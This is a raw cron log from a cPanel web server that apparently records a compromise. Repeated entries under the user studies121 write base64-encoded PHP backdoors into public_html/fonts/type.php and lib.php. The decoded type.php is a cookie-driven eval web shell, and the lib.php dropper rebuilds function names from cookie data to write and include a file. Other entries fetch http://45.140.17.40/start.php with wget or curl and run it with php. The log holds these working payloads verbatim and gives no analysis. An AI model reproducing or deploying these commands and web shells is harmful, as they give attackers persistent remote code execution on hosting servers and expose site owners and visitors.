Feb 22 17:55:01 ip-184-168-122-23 CROND[27253]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 17:55:01 ip-184-168-122-23 CROND[27249]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 17:56:01 ip-184-168-122-23 CROND[27610]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:56:01 ip-184-168-122-23 CROND[27612]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:56:01 ip-184-168-122-23 CROND[27613]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:56:01 ip-184-168-122-23 CROND[27614]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:56:01 ip-184-168-122-23 CROND[27615]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:57:01 ip-184-168-122-23 CROND[27945]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:57:01 ip-184-168-122-23 CROND[27947]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:57:01 ip-184-168-122-23 CROND[27946]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:57:02 ip-184-168-122-23 CROND[27951]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:58:01 ip-184-168-122-23 CROND[28346]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 17:58:01 ip-184-168-122-23 CROND[28347]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 17:58:01 ip-184-168-122-23 CROND[28349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:58:01 ip-184-168-122-23 CROND[28352]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:58:01 ip-184-168-122-23 CROND[28353]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:59:01 ip-184-168-122-23 CROND[28696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 17:59:01 ip-184-168-122-23 CROND[28697]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 17:59:01 ip-184-168-122-23 CROND[28700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 17:59:01 ip-184-168-122-23 CROND[28699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:00:01 ip-184-168-122-23 CROND[29050]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:00:01 ip-184-168-122-23 CROND[29049]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:00:01 ip-184-168-122-23 CROND[29053]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:00:01 ip-184-168-122-23 CROND[29057]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:00:01 ip-184-168-122-23 CROND[29058]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Feb 22 18:00:01 ip-184-168-122-23 CROND[29056]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 18:00:01 ip-184-168-122-23 CROND[29059]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:00:01 ip-184-168-122-23 CROND[29065]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 18:00:01 ip-184-168-122-23 CROND[29066]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 18:01:01 ip-184-168-122-23 CROND[29434]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:01:01 ip-184-168-122-23 CROND[29435]: (root) CMD (run-parts /etc/cron.hourly)
Feb 22 18:01:01 ip-184-168-122-23 CROND[29438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:01:01 ip-184-168-122-23 CROND[29436]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:01:01 ip-184-168-122-23 CROND[29441]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 18:01:01 ip-184-168-122-23 CROND[29445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29435]: starting 0anacron
Feb 22 18:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[29454]: finished 0anacron
Feb 22 18:02:01 ip-184-168-122-23 CROND[29790]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:02:01 ip-184-168-122-23 CROND[29792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:02:01 ip-184-168-122-23 CROND[29793]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:02:01 ip-184-168-122-23 CROND[29794]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:02:01 ip-184-168-122-23 CROND[29795]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:03:01 ip-184-168-122-23 CROND[30124]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:03:01 ip-184-168-122-23 CROND[30126]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:03:01 ip-184-168-122-23 CROND[30127]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:03:01 ip-184-168-122-23 CROND[30131]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:04:01 ip-184-168-122-23 CROND[30441]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:04:01 ip-184-168-122-23 CROND[30442]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:04:01 ip-184-168-122-23 CROND[30444]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:04:01 ip-184-168-122-23 CROND[30445]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:04:01 ip-184-168-122-23 CROND[30443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:05:01 ip-184-168-122-23 CROND[30777]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:05:01 ip-184-168-122-23 CROND[30778]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 18:05:01 ip-184-168-122-23 CROND[30781]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 18:05:01 ip-184-168-122-23 CROND[30782]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 18:05:02 ip-184-168-122-23 CROND[30786]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:05:02 ip-184-168-122-23 CROND[30787]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:05:02 ip-184-168-122-23 CROND[30788]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:06:01 ip-184-168-122-23 CROND[31203]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:06:01 ip-184-168-122-23 CROND[31205]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:06:01 ip-184-168-122-23 CROND[31207]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:06:01 ip-184-168-122-23 CROND[31208]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 18:06:01 ip-184-168-122-23 CROND[31206]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 18:07:01 ip-184-168-122-23 CROND[31538]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 18:07:01 ip-184-168-122-23 CROND[31539]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 18:07:01 ip-184-168-122-23 CROND[31541]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 18:07:01 ip-184-168-122-23 CROND[31543]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
